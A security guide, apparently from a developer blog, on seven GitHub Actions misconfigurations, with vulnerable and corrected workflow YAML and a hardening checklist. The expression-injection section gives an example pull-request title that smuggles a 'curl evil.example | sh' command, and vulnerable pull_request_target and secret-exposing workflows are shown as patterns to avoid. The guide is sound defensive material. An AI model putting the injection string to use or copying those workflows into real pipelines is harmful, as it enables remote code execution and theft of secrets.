GitHub Actions Security: 7 Misconfigurations to Avoid
The 7 GitHub Actions misconfigurations behind real supply chain attacks: weak GITHUB_TOKEN scope, pull_request_target, unpinned actions, script injection.
On this page
GitHub Actions is the most-targeted CI/CD platform in the world right now. Not because it's insecure by design: it's because billions of automated workflows run on it every day, most of them with misconfigured permissions, mutable dependencies, and no security review. When an attacker finds a gap, the blast radius is enormous.
In 2026 alone, the Megalodon campaign poisoned thousands of repositories in a single six-hour window. The TanStack cache poisoning attack published malicious package versions with valid, signed provenance. The tj-actions/changed-files compromise exfiltrated secrets from thousands of repositories in a single day. All of these attacks used GitHub Actions misconfigurations as their entry point.
This guide covers the seven misconfigurations that show up in almost every real-world GitHub Actions breach: what they are, why they're dangerous, and exactly how to fix them. If you haven't set up a workflow yet, start with the GitHub Actions tutorial first; this guide assumes you already have workflows running and want to harden them.
- 1
Overly Permissive GITHUB_TOKEN
GitHub automatically creates a
GITHUB_TOKENfor every workflow run. It has access to your repository: the question is how much access. Repositories created before February 2023 often default towrite-all, which means a compromised workflow can push code, approve pull requests, and modify releases.yaml — .github/workflows/ci.yml# Add to every workflow file permissions: contents: read jobs: test: # This job only needs read access, no additional permissions needed runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 release: permissions: contents: write # Elevated only for the job that actually needs to write runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - run: gh release create ${{ github.ref_name }} - 2
pull_request_target with Untrusted Code
pull_request_targetwas introduced to let workflows access secrets when handling pull requests, including PRs from forks. The problem: it runs in the context of the base branch, with all its secrets, even when the PR comes from a completely untrusted fork.This is the pattern behind some of the highest-impact GitHub Actions vulnerabilities ever disclosed, allowing remote code execution on repositories belonging to major tech companies:
yaml# DANGEROUS: runs fork PR code with access to repository secrets on: pull_request_target jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 with: ref: ${{ github.event.pull_request.head.sha }} # Checks out attacker code - run: npm test # Runs attacker code with access to secretsFix: use
pull_requestinstead ofpull_request_targetfor workflows that run code from a PR.pull_requestdoes not have access to secrets for fork PRs, which is exactly the right default.yaml# SAFE: fork PRs run without secret access on: pull_request jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - run: npm test - 3
Unpinned Third-Party Actions
uses: actions/checkout@v4anduses: third-party/some-action@mainare mutable references. The tagv4or the branchmaincan be moved to point at a different commit at any time. When a popular action gets compromised, attackers push malicious code to the repository and every workflow referencing that tag picks it up immediately, with no change to your own files.yaml# Instead of: uses: actions/checkout@v4 # Use: uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2A full commit SHA is immutable: an attacker who compromises an action's repository can't move it. To find the SHA for a release, open the action's repository on GitHub, click the release tag, and copy the full commit hash.
- 4
Expression Injection (Script Injection)
Expressions like
${{ github.event.pull_request.title }}evaluate to arbitrary, attacker-controlled strings when used directly inside arun:block.yaml# DANGEROUS: PR title becomes a shell command - run: echo "Testing PR: ${{ github.event.pull_request.title }}"If a PR is opened with a title like
; curl https://evil.example/steal.sh | sh ;, the shell executes the injected command as part of your workflow. This is how script injection attacks work in GitHub Actions, and the title field is just one of many injection points.Fix: always assign untrusted input to an environment variable first, then reference the variable, never the raw expression, inside
run:.yaml# SAFE: environment variable is not interpreted as a shell command - name: Process PR title env: PR_TITLE: ${{ github.event.pull_request.title }} run: echo "Testing PR: $PR_TITLE" - 5
Secrets in Logs and Artifacts
GitHub masks secrets in workflow logs, but only for known, exact-match patterns. Encoded, transformed, or partially-reconstructed secrets bypass the masking entirely. A workflow that uploads debug artifacts, builds Docker images with secret build args, or dumps environment variables can leak secret values in ways GitHub's masking never catches.
yaml# AVOID: secret as a direct build argument (may persist in image layers) - run: docker build --build-arg API_KEY=${{ secrets.API_KEY }} . # AVOID: indirect exposure through env dumped into an artifact - run: env > debug.txt && tar czf debug.tar.gz debug.txt - uses: actions/upload-artifact@v4 with: path: debug.tar.gzWhere possible, use OIDC token-based authentication for cloud providers (AWS, Azure, GCP all support this). This eliminates long-lived secrets entirely: your workflow receives a short-lived token scoped to that single job, with nothing left over to leak.
When a static secret is genuinely unavoidable, scope it to the specific step that needs it via
env:, and never pass it throughrun:arguments, build args, or anything that ends up in an uploaded artifact. - 6
Shared Caches Across Trust Boundaries
The TanStack cache poisoning attack exploited a subtle vector: a fork PR workflow wrote a malicious entry into a shared GitHub Actions cache. Hours later, the legitimate release workflow, which had full publish access, restored that poisoned cache and executed the attacker's code as part of its own build.
The fix is simple: never let an untrusted workflow write to a cache that a privileged workflow later reads. Scope cache keys so fork PRs and your main release pipeline can't collide:
yaml- uses: actions/cache@v4 with: path: ~/.npm # Include github.ref so cross-branch / cross-PR cache sharing isn't possible key: ${{ runner.os }}-npm-${{ github.ref }}-${{ hashFiles('**/package-lock.json') }}Fork PR workflows run with different
github.refvalues than your main branch, so they can no longer write into a cache entry your release workflow will later trust. - 7
Self-Hosted Runners Without Isolation
GitHub-hosted runners are ephemeral: every job gets a fresh virtual machine that's destroyed afterward. Self-hosted runners are not, by default. Environment variables, temporary files, cached credentials on disk, and leftover process memory from one job can be readable by the next job on the same machine. For a public repository, where any GitHub user can open a pull request and trigger a workflow, that's a serious risk.
For private repositories the immediate risk is lower since only authorized contributors can trigger workflows, but the principle still applies to production deployments. Add environment protection rules and require manual approval before any workflow with production credentials runs on a self-hosted runner.
5-Minute Hardening Checklist
The ten fixes below address the large majority of real-world GitHub Actions breaches. None of them require rewriting your pipeline: most are a few lines changed per workflow file.
- Set
permissions: read-all(orcontents: read) globally in every workflow file - Replace
pull_request_targetwithpull_requestfor any workflow that runs code from a PR - Pin every third-party action to a full commit SHA, not a tag or branch
- Move all
${{ github.event.* }}references intoenv:variables before they reach arun:block - Audit
upload-artifactsteps for anything that could expose environment variables or secrets - Add
github.ref(or similar) to every cache key to prevent cross-branch cache sharing - Use OIDC instead of long-lived secrets for cloud provider authentication where supported
- Confirm Settings → Actions → General → Workflow permissions is set to read-only by default
- Enable branch protection requiring CI success and code owner review before merge
- Run
zizmor(open-source GitHub Actions security scanner) against.github/workflows/
pip install zizmor && zizmor .github/workflows/Frequently Asked Questions
What permissions should GITHUB_TOKEN have?
Start every workflow read-only, then grant write access only to the specific jobs that need it:
permissions:
contents: readIs pull_request_target dangerous?
It's dangerous specifically when combined with checking out and running code from the incoming pull request. pull_request_target runs with the base repository's secrets and permissions, even for pull requests from forks. If the workflow then checks out and executes the PR's code, that untrusted code runs with access to your secrets: a pattern often called a "pwn request".
It is safe when the workflow never checks out or executes code from the PR head, for example a workflow that only adds a label based on the PR's metadata.
How do I pin a GitHub Action to a commit SHA?
Open the action's repository on GitHub, go to its Releases or Tags page, click the version you want, and copy the full commit SHA from that page. Then reference it instead of the version tag, with the version as a comment for readability:
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2What is a 'pwn request' in GitHub Actions?
A pwn request is a workflow that runs untrusted, attacker-controlled code (typically the contents of a fork pull request) in a context that has access to repository secrets and write permissions. The name comes from "pwn" plus "pull request".
- How it happens - a
pull_request_target(or, less commonly, a misconfiguredworkflow_run) workflow checks outgithub.event.pull_request.head.shaand then builds or tests it. - Why it's dangerous - the checked-out code is fully attacker-controlled, but it runs with the base repository's secrets, write access, and sometimes deploy credentials.
- The fix - use
pull_requestfor anything that executes PR code, and reservepull_request_targetfor workflows that never check out or run the PR's contents.
How do I prevent secret leakage in GitHub Actions?
- Never interpolate secrets directly into `run:` commands - pass them through
env:instead. - Avoid secrets in build arguments -
docker build --build-arg KEY=${{ secrets.KEY }}can leave the value in image layers. - Check artifacts before uploading -
envdumps, debug logs, and core dumps can all contain secret values GitHub's log masking never sees. - Prefer OIDC over long-lived secrets - for AWS, Azure, and GCP, OIDC gives the workflow a short-lived token with nothing to leak afterward.
What is zizmor and should I use it?
zizmor is an open-source static analysis tool that scans .github/workflows/ for exactly the kinds of issues covered in this guide: unpinned actions, pull_request_target misuse, expression injection, and overly broad permissions. It's a useful first pass before a manual review.
pip install zizmor && zizmor .github/workflows/Does securing GitHub Actions also protect against malicious npm dependencies?
No, they're separate layers. Hardening your workflows (this guide) reduces the chance that your CI pipeline itself becomes an attack vector. Auditing your package.json for outdated, deprecated, or CVE-affected packages is a different problem: try DepScan for that. Both matter, and a compromised dependency installed during npm ci runs inside whatever permissions your workflow grants it, which is exactly why the GITHUB_TOKEN permissions in misconfiguration #1 matter so much.
Locally, pre-commit hooks with Husky and lint-staged catch some issues before code is even pushed, but they run on the developer's machine and can be bypassed with --no-verify. CI-side checks are the layer that can't be skipped.
None of these fixes are exotic. Read-only tokens by default, pull_request instead of pull_request_target, pinned SHAs, environment variables instead of raw expressions, scoped cache keys, and ephemeral runners: that's the whole list, and most of it is a find-and-replace across your workflow files.
Run through the checklist once, then run zizmor against your repository to catch anything the manual pass missed. Supply chain attacks against GitHub Actions are not going away, but workflows that follow these seven rules are not the ones that end up in next year's incident report.
Related Articles
GitHub Actions Tutorial: CI/CD from Push to Deploy (2026)
Learn GitHub Actions: write your first workflow, run tests automatically, use secrets safely, deploy via SSH, cache dependencies, and run matrix builds.
Husky + Prettier + lint-staged Setup for Next.js
Set up Husky v9, Prettier, and lint-staged in your Next.js project. Step-by-step guide covering pre-commit hooks with the correct 2026 config.
How to Audit Your VS Code Extensions for Security
The GitHub breach happened through a VS Code extension. Here's how to check what you have installed and reduce your exposure in 10 minutes.